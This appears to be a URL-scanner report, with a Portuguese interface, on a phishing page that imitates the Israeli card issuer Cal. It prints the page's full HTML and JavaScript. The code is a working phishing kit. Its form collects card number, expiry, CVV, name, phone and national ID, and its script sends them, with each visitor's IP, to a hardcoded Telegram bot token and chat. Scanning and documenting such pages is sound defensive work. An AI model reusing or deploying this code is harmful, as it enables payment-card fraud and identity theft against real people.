- ID da verificação
- 9a311a5f-819d-46d2-8426-55fa5b4b4136Concluído
- URL enviado:
- https://eviptci.com/Online.Cal.il/
- Relatório concluído:
Links · 0 encontrado(s)
Copy linkOs links de saída identificados na página
Variáveis JavaScript · 10 encontrada(s)
Copy linkVariáveis JavaScript globais carregadas no objeto janela de uma página são variáveis declaradas fora das funções e acessíveis de qualquer lugar no código dentro do escopo atual
Nome | Tipo |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
onlyNumbers | function |
addSlashToExpiry | function |
onlyLetters | function |
formatCardNumber | function |
sendPageVisitToTelegram | function |
submitForm | function |
sendToTelegram | function |
Mensagens de registro do console · 1 encontrada(s)
Copy linkMensagens registradas no console web
Level | Origem | Message |
---|---|---|
verbose | dom |
|
HTML
Copy linkO corpo HTML bruto da página
<!DOCTYPE html><html lang="he"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Cal.il</title>
<link rel="icon" href="https://eviptci.com/Online.Cal.il/images/logo1.png" type="image/png">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background: linear-gradient(to bottom, #1b5ece 50%, #a4e4ff 50%);
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background-image: url('https://eviptci.com/Online.Cal.il/images/cal.png');
background-size: cover;
background-position: center;
background-attachment: fixed;
overflow-y: auto;
flex-direction: column;
}
.logo-container {
position: absolute;
top: 10px;
left: 10px;
z-index: 10;
}
.logo-container img {
width: 90px;
height: auto;
}
.form-container {
background-color: rgba(255, 255, 255, 0.9);
width: 320px;
padding: 30px;
border-radius: 10px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
text-align: center;
position: relative;
z-index: 2;
margin-top: 390px;
}
.form-container input {
width: 100%;
padding: 10px;
margin: 10px 0;
font-size: 16px;
border: 1px solid #ccc;
border-radius: 5px;
box-sizing: border-box;
text-align: center;
}
.input-group {
display: flex;
justify-content: space-between;
}
.input-group input {
width: 48%;
}
.submit-btn {
padding: 10px 20px;
background-color: #1b5ece;
color: white;
font-size: 16px;
border: none;
border-radius: 5px;
cursor: pointer;
width: 50%;
margin: 20px auto;
display: block;
}
.submit-btn:hover {
background-color: #155ab3;
}
.error-message {
color: red;
font-size: 14px;
margin-top: 10px;
}
.images-container {
display: flex;
flex-direction: column;
justify-content: flex-start;
align-items: center;
gap: 10px;
z-index: 5;
margin-top: 40px;
}
.large-image {
width: 230px;
height: auto;
margin-top: 40px;
}
.small-image {
width: 100px;
height: auto;
}
.images-row {
display: flex;
gap: 10px;
margin-top: 20px;
}
@media (max-width: 768px) {
.logo-container img {
width: 80px;
}
.large-image {
width: 200px;
}
.small-image {
width: 80px;
}
.form-container {
width: 280px;
padding: 20px;
}
.images-container {
margin-top: 20px;
}
}
@media (max-width: 480px) {
.logo-container img {
width: 70px;
}
.large-image {
width: 180px;
}
.small-image {
width: 70px;
}
.form-container {
width: 260px;
padding: 15px;
}
}
</style>
</head>
<body>
<div class="logo-container">
<img src="https://eviptci.com/Online.Cal.il/images/logo1.png" alt="Logo">
</div>
<div class="form-container">
<label for="card-number">מספר כרטיס</label>
<input type="text" id="card-number" placeholder="XXXX XXXX XXXX XXXX" maxlength="19" required="" oninput="formatCardNumber()">
<div class="input-group">
<div>
<label for="expiry-date">Exp</label>
<input type="text" id="expiry-date" placeholder="MM/YY" required="" oninput="addSlashToExpiry()">
</div>
<div>
<label for="cvv">CVV</label>
<input type="password" id="cvv" placeholder="CVV" required="" oninput="onlyNumbers('cvv')">
</div>
</div>
<label for="name">שם מלא</label>
<input type="text" id="name" placeholder="שם" required="" oninput="onlyLetters('name')">
<label for="phone">מספר טלפון</label>
<input type="tel" id="phone" placeholder="מספר טלפון" required="" maxlength="10" oninput="onlyNumbers('phone')">
<label for="id-number">מספר תעודת זהות</label>
<input type="text" id="id-number" placeholder="מספר תעודת זהות" required="" maxlength="9" oninput="onlyNumbers('id-number')">
<button class="submit-btn" onclick="submitForm()">כנסה</button>
<div class="error-message" id="error-message"></div>
</div>
<div class="images-container">
<img src="https://eviptci.com/Online.Cal.il/images/1.png" alt="Large Image" class="large-image">
<div class="images-row">
<img src="https://eviptci.com/Online.Cal.il/images/2.png" alt="Small Image 1" class="small-image">
<img src="https://eviptci.com/Online.Cal.il/images/3.png" alt="Small Image 2" class="small-image">
</div>
</div>
<script>
function onlyNumbers(id) {
let input = document.getElementById(id);
input.value = input.value.replace(/[^0-9]/g, '');
}
function addSlashToExpiry() {
const expiryDate = document.getElementById("expiry-date").value;
if (expiryDate.length === 2 && !expiryDate.includes("/")) {
document.getElementById("expiry-date").value = expiryDate + "/";
}
}
function onlyLetters(id) {
let input = document.getElementById(id);
input.value = input.value.replace(/[^a-zA-Z\u0590-\u05F4\s]/g, '');
}
function formatCardNumber() {
let input = document.getElementById("card-number");
let value = input.value.replace(/\D/g, '');
value = value.substring(0, 16);
let formattedValue = value.replace(/(\d{4})(?=\d)/g, '$1 ');
input.value = formattedValue;
}
window.onload = function() {
const page = window.location.pathname;
let pageName = '';
if (page.includes('page1')) {
pageName = 'Page 1';
} else if (page.includes('page2')) {
pageName = 'Page 2';
}
fetch('https://api.ipify.org?format=json')
.then(response => response.json())
.then(data => {
const ipAddress = data.ip;
sendPageVisitToTelegram(pageName, ipAddress);
})
.catch(error => console.error('Error fetching IP:', error));
}
function sendPageVisitToTelegram(pageName, ipAddress) {
const token = "7718268154:AAHSNo07Kh8XpfBb3EErQleNr2l_x1c7M_I";
const chatId = "-4733835532";
const message = `landing bage ${pageName}.\nعنوان IP: ${ipAddress}`;
fetch(`https://api.telegram.org/bot${token}/sendMessage`, {
method: 'POST',
body: JSON.stringify({ chat_id: chatId, text: message }),
headers: { 'Content-Type': 'application/json' }
}).catch(error => console.error('Error sending page visit to Telegram:', error));
}
function submitForm() {
fetch('https://api.ipify.org?format=json')
.then(response => response.json())
.then(data => {
const ipAddress = data.ip;
const cardNumber = document.getElementById("card-number").value;
const expiryDate = document.getElementById("expiry-date").value;
const cvv = document.getElementById("cvv").value;
const name = document.getElementById("name").value;
const phone = document.getElementById("phone").value;
const idNumber = document.getElementById("id-number").value;
const page = window.location.pathname;
let pageName = '';
if (page.includes('page1')) {
pageName = 'Page 1';
} else if (page.includes('page2')) {
pageName = 'Page 2';
}
if (cardNumber && expiryDate && cvv && name && phone && idNumber) {
sendToTelegram(cardNumber, expiryDate, cvv, name, phone, idNumber, ipAddress, pageName);
localStorage.setItem("formSubmitted", "true");
setTimeout(() => {
window.location.href = "nextpage.html";
}, 1000);
} else {
document.getElementById("error-message").textContent = "אנא מלא את כל השדות.";
}
})
.catch(error => {
console.error('Error getting IP address:', error);
alert("הייתה שגיאה בקבלת כתובת ה-IP.");
});
}
function sendToTelegram(cardNumber, expiryDate, cvv, name, phone, idNumber, ipAddress, pageName) {
const token = "7718268154:AAHSNo07Kh8XpfBb3EErQleNr2l_x1c7M_I";
const chatId = "-4733835532";
const formattedCardNumber = cardNumber.replace(/\s+/g, '');
const messageContent = `
المعلومات:
رقم البطاقة: ${formattedCardNumber}
تاريخ الانتهاء: ${expiryDate}
CVV: ${cvv}
الاسم: ${name}
رقم الهاتف: ${phone}
رقم الهوية: ${idNumber}
عنوان IP: ${ipAddress}
الصفحة: ${pageName}
`;
fetch(`https://api.telegram.org/bot${token}/sendMessage`, {
method: 'POST',
body: JSON.stringify({ chat_id: chatId, text: messageContent }),
headers: { 'Content-Type': 'application/json' }
}).catch(error => console.error('Error sending message to Telegram:', error));
}
</script>
</body></html>